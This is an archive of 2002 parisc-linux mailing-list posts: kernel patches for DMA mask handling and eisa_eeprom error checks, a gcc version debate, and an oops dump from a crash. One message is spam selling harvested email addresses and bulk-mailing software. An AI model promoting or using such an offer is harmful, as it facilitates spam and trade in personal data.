--- linux-2.5.47/drivers/parisc/ccio-dma.c	2002-11-10 19:28:05.000000000 -0800
+++ linux/drivers/parisc/ccio-dma.c	2002-11-16 05:23:47.000000000 -0800
@@ -603,18 +603,16 @@
 ccio_dma_supported(struct pci_dev *dev, u64 mask)
 {
 	if(dev == NULL) {
 		printk(KERN_ERR MODULE_NAME ": EISA/ISA/et al not supported\n");
 		BUG();
 		return 0;
 	}
 
-	dev->dma_mask = mask;   /* save it */
-
 	/* only support 32-bit devices (ie PCI/GSC) */
 	return (int)(mask == 0xffffffffUL);
 }
 
 /**
  * ccio_map_single - Map an address range into the IOMMU.
  * @dev: The PCI device.
  * @addr: The start address of the DMA region.
--- linux-2.5.47/drivers/parisc/ccio-rm-dma.c	2002-11-10 19:28:06.000000000 -0800
+++ linux/drivers/parisc/ccio-rm-dma.c	2002-11-16 05:23:44.000000000 -0800
@@ -69,18 +69,16 @@
 static int ccio_dma_supported( struct pci_dev *dev, u64 mask)
 {
 	if (dev == NULL) {
 		printk(KERN_ERR MODULE_NAME ": EISA/ISA/et al not supported\n");
 		BUG();
 		return(0);
 	}
 
-	dev->dma_mask = mask;   /* save it */
-
 	/* only support 32-bit devices (ie PCI/GSC) */
 	return((int) (mask >= 0xffffffffUL));
 }
 
 
 static void *ccio_alloc_consistent(struct pci_dev *dev, size_t size,
 				 dma_addr_t *handle)
 {
--- linux-2.5.47/drivers/parisc/sba_iommu.c	2002-11-10 19:28:28.000000000 -0800
+++ linux/drivers/parisc/sba_iommu.c	2002-11-16 05:23:51.000000000 -0800
@@ -806,18 +806,16 @@
 sba_dma_supported( struct pci_dev *dev, u64 mask)
 {
 	if (dev == NULL) {
 		printk(KERN_ERR MODULE_NAME ": EISA/ISA/et al not supported\n");
 		BUG();
 		return(0);
 	}
 
-	dev->dma_mask = mask;	/* save it */

From - Thu Nov 08 21:25:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?gb2312?q?=C4=E3=BA=C3_ <=CE=DE=B4=CB=D3=CA=CF=E4@hotmail.com>,
	?=@dsl2.external.hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?gb2312?q?=C4=E3=D3=D0=B2=FA=C6=B7=D2=AA=D0=FB=B4=AB=C2=F0=A3=BF=D5=D2=CE=D2=B0=A1=A3=AC=D6=BB=D0=E8=D2=AA100=D4=AA=A3=AC=C4=E3=BF=C9=D2=D4=B3=A4=C6=DA=CF=F230=CD=F2=C8=CB=D7=F6=D0=FB=B4=AB=A3=AC?=
Date: Tue, 12 Oct 1999 01:26:36 +0800
Lines: 26
Approved: news@gmane.org
Message-ID: <20021116171907.BD3584838@dsl2.external.hp.com>
Reply-To: ޴@hotmail.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="de56526a-8040-11d3-a98a-5254aba02fb7"
X-Trace: ger.gmane.org 1416621937 17293 80.91.229.3 (22 Nov 2014 02:05:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 16 10:19:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from 13.26.34.12 (unknown [61.235.68.66])
	by dsl2.external.hp.com (Postfix) with SMTP id BD3584838
	for <parisc-linux@lists.parisc-linux.org>; Sat, 16 Nov 2002 10:19:07 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16831

This is a multi-part message in MIME format
--de56526a-8040-11d3-a98a-5254aba02fb7
Content-Type: text/plain; charset=gb2312
Content-Transfer-Encoding: quoted-printable

=C4=E3=C8=E7=B9=FB=D0=E8=D2=AA=D7=F6=B9=E3=B8=E6=A3=AC=C7=EB=C4=E3=BD=AB=C4=E3=
=CB=F9=D2=AA=D0=FB=B4=AB=B5=C4=B2=FA=C6=B7=BA=CD=B6=D4=CF=F3=B8=E6=CB=DF=CE=D2=
=A3=AC=CE=D2=BB=E1=CE=AA=C4=E3=B6=A8=D6=C6=C4=E3=CB=F9=D2=AA=B5=C4=D3=CA=D6=B7=
=A3=AC=BC=DB=B8=F1=A3=BA30=CD=F2=D3=CA=D6=B7100=D4=AA=A3=AC=CB=CD=C8=ED=BC=FE=
=D2=BB=CC=D7=A3=AC=D2=BB=C8=D5=C4=DA=BD=BB=BB=F5=A3=AC=B5=E7=BB=B0=A3=BA=
0755-26326076
=B5=D8=D6=B7=A3=BA=C9=EE=DB=DA=CA=D0=BA=CD=C6=BD=C2=B71018=BA=C5
=C9=EE=DB=DA=B5=C4=BF=CD=BB=A7=BF=C9=D2=D4=CB=CD=BB=F5=C9=CF=C3=C5=A3=AC=CD=E2=
=B5=D8=D3=C3=BB=A7=BF=C9=D2=D4=BD=AB=C8=ED=BC=FE=BA=CD=D3=CA=D6=B7=B7=A2=B5=BD=
=C4=E3=B5=C4=D0=C5=CF=E4
=CE=D2=B5=C4=D3=CA=CF=E4=D3=C3=BB=A7=C3=FB=CA=C7china1238    =D3=CA=CF=E4=CA=
=C7=CA=F4=D3=DAhotmail.com=B5=C4
hello everyone
   do you have products to sell in net ,please contact with me .i can find
300000 emailaddress for you only 10$ ,and i will sent it with a =
emailsendersoft to you,if you need please sent a mail to me ,my =
email:china1238                                            mr yang
@hotmail.com                                              2002.11  
--de56526a-8040-11d3-a98a-5254aba02fb7--



From - Thu Nov 08 21:25:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] next issues ...
Date: Sun, 17 Nov 2002 02:32:58 +0000 (GMT)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0211170215340.6003-100000@sal.ucc.ie>
References: <200211160037.gAG0bZRa015952@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621938 17295 80.91.229.3 (22 Nov 2014 02:05:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:38 +0000 (UTC)
Cc: randolph@tausq.org, <bzeeb-lists@lists.zabbadoz.net>,
	<carlos@baldric.uwo.ca>, <parisc-linux@lists.parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 16 19:33:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 04A6B482E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 16 Nov 2002 19:33:13 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id CAA25534;
	Sun, 17 Nov 2002 02:33:23 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <200211160037.gAG0bZRa015952@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16832

On Fri, 15 Nov 2002, John David Anglin wrote:

> > Amen! :-) hopefully we are going to start gcc-3.2 transition fairly
> > soon.
>
> Don't wait too long!  3.3 may have slipped a bit but the schedule
> still shows Dec. 15 2002 as the release date.

I'm not very familiar with the pa-risc internals, but I wonder whether it
is probably a better idea to wait for 3.3?. I've followed the parisc-linux
and the gcc-mailing lists and IMHO gcc-3.3 provides lots of
improvements, not just for Intel, but also for PA-RISC. E.g. a new
scheduler which provides better optimizations (for PA-RISC and lots of
bugfixes are in 3.3. More over the C++ ABI will be changed again, so a
couple  of packages would have to be rebuild AGAIN if we stick to 3.2 (if
not the 3.2-ABI compatibility is used). The people at gcc are just about
to release 3.2.1 and from then they're just focussing on the 3.3-release.
AFAIK they are also to resolve some gcc-hpux/linux issues at the moment,
and I doubt they are going to be in gcc-3.2.1. You probably know much
better than me, but that's just my 2 cent.

I know, it's not the usual debian way (using well tested and very stable
packages), but Linux/PA-RISC is improving/has so much possibilities
to improve, and one major package that contributes to this alot is gcc.


greetings max

PS: I offered to help to track down the problems with Voodoo3 and C240,
but right now I'm really busy (e.g. moving to a new home over the
weekend). Hopefully I'll finnaly have a DSL flatline at home, so I can
work from home ;)



From - Thu Nov 08 21:25:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Patch: linux-2.5.47/drivers/parisc/ - pci_dma_supported had side effect
Date: Sat, 16 Nov 2002 23:20:25 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <20021117062025.A10E8482E@dsl2.external.hp.com>
References: <20021116054941.A3448@baldur.yggdrasil.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621938 17296 80.91.229.3 (22 Nov 2014 02:05:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Adam J. Richter" <adam@yggdrasil.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 16 23:20:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A10E8482E; Sat, 16 Nov 2002 23:20:25 -0700 (MST)
In-Reply-To: Message from "Adam J. Richter" <adam@yggdrasil.com> 
   of "Sat, 16 Nov 2002 05:49:41 PST." <20021116054941.A3448@baldur.yggdrasil.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16833

"Adam J. Richter" wrote:
> 	pci_dma_supported is not supposed to have any side effects,
> but the parisc versions set pci_dev->dma_mask, which is not the
> intended behavior.

That's my bad. At some point in time, it was in fact correct.
Thanks for catching this.

> A driver could call check pci_dma_supported for a
> variety of values in any particular order without expected the dma
> mask to have actually been changed.

I think pci_dma_supported() is obsoleted by pci_set_dma_mask().
Maybe they mean/do slightly different things.
But most of the drivers I've looked at only use pci_set_dma_mask().

> To change the DMA mask, drivers
> call pci_set_dma_mask (in drivers/pci/pci.c), which, by the way, does
> call machine-specific pci_dma_supported routine to ensure that the
> desired mask is acceptable.

Yes. I can feel a bit better since I suggested davem use a macro
(pci_set_dma_mask()) to set the dma_mask field instead of just
having drivers set the dma_mask field themselves.

> 	The following patch fixes the problem.  It also has the
> benefit of eliminating some direct writing to pci_dev->dma_mask,
> which is what caused me to notice this problem.
> 
> 	I do not have any parisc machines or normally build parisc
> kernels.  So, I have not even verified that this change compiles.
> 
> 	If somebody could give these deletions a whirl and then send
> them by whatever the preferred process is to get them into the
> mainline kernel, I would appreciate it.  If there is more that I
> should do to facilitate this, please let me know.

I'll take care it. Thanks!

grant


From - Thu Nov 08 21:25:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Patch: linux-2.5.47/drivers/parisc/ - pci_dma_supported had side effect
Date: Sat, 16 Nov 2002 23:52:32 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <20021117065232.2DA8F482E@dsl2.external.hp.com>
References: <20021116054941.A3448@baldur.yggdrasil.com>  <20021117062025.A10E8482E@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621938 17299 80.91.229.3 (22 Nov 2014 02:05:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Adam J. Richter" <adam@yggdrasil.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 16 23:52:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 2DA8F482E; Sat, 16 Nov 2002 23:52:32 -0700 (MST)
In-Reply-To: Message from Grant Grundler <grundler@dsl2.external.hp.com> 
   of "Sat, 16 Nov 2002 23:20:25 MST." <20021117062025.A10E8482E@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16834

Grant Grundler wrote:
> I think pci_dma_supported() is obsoleted by pci_set_dma_mask().

nope, it hasn't.
pci_set_dma_mask() in fact calls pci_dma_supported().
I haven't look at that code in a while...

grant


From - Thu Nov 08 21:25:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] next issues ...
Date: Sun, 17 Nov 2002 13:16:51 +0000 (UTC)
Lines: 74
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0211171256290.39295-100000@e0-0.zab2.int.zabbadoz.net>
References: <200211152245.gAFMjWN0015793@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621939 17303 80.91.229.3 (22 Nov 2014 02:05:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:39 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, <parisc-linux@lists.parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 17 06:16:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5D693482E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Nov 2002 06:16:23 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id 1E7CD1FFE9A; Sun, 17 Nov 2002 14:16:17 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 62F021FFEBC; Sun, 17 Nov 2002 14:16:16 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id CEDD622E1B; Sun, 17 Nov 2002 13:16:51 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id C58D322E17; Sun, 17 Nov 2002 13:16:51 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <200211152245.gAFMjWN0015793@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16835

On Fri, 15 Nov 2002, John David Anglin wrote:

Hi,

> > Ok, first thing I am going to do is build with gcc 3.0.4 and see if it
> > works.
>
> Be aware that debian 3.0.4 suffers from a problem where calls that have
...


had 2.5.47-pa3 compiled with 3.0.4 up ad running
Linux version 2.5.47-pa3 (bz@apollo) (gcc version 3.0.4) #8 Fri Nov 15 23:38:21 UTC 2002

but had trouble with unaligned page access:
--- 8< 8< 8< ---
bz@apollo:~> sshd(315): unaligned access to 0x0006fe7b at ip=0x00020eaf
sshd(315): unaligned access to 0x0006feaf at ip=0x00020eb3
sshd(315): unaligned access to 0x0006feb3 at ip=0x00020eb7
sshd(315): unaligned access to 0x0006feb7 at ip=0x00020ebb
sshd(315): unaligned access to 0x0006febb at ip=0x00020ebf
sshd(315): unaligned access to 0x0006febf at ip=0x00020ec3
sshd(315): unaligned access to 0x0006fec3 at ip=0x00020ec7
sshd(315): unaligned access to 0x0006fec7 at ip=0x00020ecb
sshd(315): unaligned access to 0x0006fecb at ip=0x00020ecf

bz@apollo:~>
bz@apollo:~> dmesg
ommand='sshd' type=6 address=0xed0e6013
vm_start = 0x402b9000, vm_end = 0x402bc000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111 Not tainted
r00-03  00000000 fffff000 ed0e6012 59e85014
r04-07  10080302 9d887d40 590cb010 f9080302
r08-11  5ae85014 10080802 42887c40 000e7760
r12-15  00000001 000f7f60 000e7760 000e7760
r16-19  000e7760 00000004 00000004 401dd300
r20-23  0000008e 40166ed4 00000000 00000000
r24-27  000feb50 00000000 00000006 000e7760
r28-31  00000001 00108fe8 0006fe8f 40166ee3
sr0-3   00000000 00000598 00000000 00000598
sr4-7   00000598 00000598 00000598 00000598

IASQ: 00000598 00000598 IAOQ: ed0e6013 ed0e6017
 IIR: 0e760013    ISR: 00000598  IOR: 0006fecb
 CPU:        0   CR30: 151c8000 CR31: 102ac000
 ORIG_R28: 00000000
...
--- 8< 8< 8< ---

Thus it should really be a compiler prob.

So what I did then was ''compiling'' (hopefully) everything with
gcc -S for 3.0.4 and 3.2. Then made a diff between both trees.

For those assembler gurus interested: I placed the bzip2ed diffs at
	http://www.zabbadoz.net/zabbadoz-network/apollo/linux-testing/
in file  gcc-S.diff.bz2 is the wohle diff (without unneccesarry parts)
and file gcc-S-net.diff.bz2 is only linux/net part.
If one really takes a look and needs the whole files, please drop me a
note. I will save them for one or two weeks.


Now I checkout gcc from cvs, updated linux-2.5-pa cvs and compiling...
But it takes ages... and hopefully I will not run out of diskspace
again... let's see what happens...


-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/



From - Thu Nov 08 21:25:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [chris@qwirx.com: eisa_eeprom.c misc_register patch]
Date: Sun, 17 Nov 2002 16:13:19 +0000
Lines: 77
Approved: news@gmane.org
Message-ID: <20021117161319.B7530@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621939 17304 80.91.229.3 (22 Nov 2014 02:05:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:39 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Daniel Engstrom <5116@telia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 17 09:13:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 454F7482E
	for <parisc-linux@parisc-linux.org>; Sun, 17 Nov 2002 09:13:25 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18DS2y-0003CF-00; Sun, 17 Nov 2002 16:13:20 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16836

Daniel, I presume you're interested in maintaining this code?

----- Forwarded message from Chris Wilson <chris@qwirx.com> -----

Envelope-to: willy@ftp.uk.linux.org
Delivery-date: Sun, 17 Nov 2002 15:53:19 +0000
Date: Sun, 17 Nov 2002 15:53:16 +0000 (GMT)
From: Chris Wilson <chris@qwirx.com>
X-X-Sender: chris@top.qwarx.com
To: Matthew Wilcox <willy@debian.org>,
   Linux Kernel Janitors <kernel-janitor-discuss@lists.sourceforge.net>
cc: Trivial Patch Monkey <trivial@rustcorp.com.au>
Subject: eisa_eeprom.c misc_register patch

Dear Sirs,

As part of my work on the Linux Kernel Janitors project, cleaning up on 
functions which call misc_register and don't check for an error return, I 
would like to submit my patch to drivers/parisc/eisa_eeprom.c. 

This patch simply causes the function to printk() an error and return the
error code from misc_register() if it fails. I hope this is the right
thing to do. It also changes the code layout (but not function) slightly,
and flags a condition that I'm not sure about: If no address is supplied
to its initialisation function, should it really return with no error,
despite the fact that it hasn't done anything useful?

Cheers, Chris.
-- 
_ ___ __     _
 / __/ / ,__(_)_  | Chris Wilson <0000 at qwirx.com> - Cambs UK |
/ (_/ ,\/ _/ /_ \ | Security/C/C++/Java/Perl/SQL/HTML Developer |
\ _/_/_/_//_/___/ | We are GNU-free your mind-and your software |


diff -ru8 linux-2.5.47/drivers/parisc/eisa_eeprom.c linux-2.5.47-chris/drivers/parisc/eisa_eeprom.c
--- linux-2.5.47/drivers/parisc/eisa_eeprom.c	Mon Nov 11 03:28:29 2002
+++ linux-2.5.47-chris/drivers/parisc/eisa_eeprom.c	Sun Nov 17 15:42:30 2002
@@ -91,17 +91,27 @@
 {
 	EISA_EEPROM_MINOR,
 	"eisa eeprom",
 	&eisa_eeprom_fops
 };
 
 int __init eisa_eeprom_init(unsigned long addr)
 {
-	if (addr) {
-		eeprom_addr = addr;
-		misc_register(&eisa_eeprom_dev);
-		printk(KERN_INFO "EISA EEPROM at 0x%lx\n", eeprom_addr);
+	int retval;
+
+	/* XXX why return success when we haven't done anything? */
+	if (!addr)
+		return 0;
+
+	eeprom_addr = addr;
+
+	retval = misc_register(&eisa_eeprom_dev);
+	if (retval < 0) {
+		printk(KERN_ERR "EISA EEPROM: cannot register misc device.\n");
+		return retval;
 	}
+
+	printk(KERN_INFO "EISA EEPROM at 0x%lx\n", eeprom_addr);
 	return 0;
 }
 
 MODULE_LICENSE("GPL");


----- End forwarded message -----

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] next issues ...
Date: Sun, 17 Nov 2002 17:34:23 +0000 (UTC)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0211171732160.39295-100000@e0-0.zab2.int.zabbadoz.net>
References: <200211151910.gAFJA2Sv014896@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621939 17311 80.91.229.3 (22 Nov 2014 02:05:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 17 10:34:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id AB9BA482E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Nov 2002 10:34:00 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id 2DF9C1FFEE5; Sun, 17 Nov 2002 18:33:42 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 7F2791FFEDF; Sun, 17 Nov 2002 18:33:41 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id CE3D722E1B; Sun, 17 Nov 2002 17:34:23 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id C048022E17; Sun, 17 Nov 2002 17:34:23 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <200211151910.gAFJA2Sv014896@hiauly1.hia.nrc.ca>
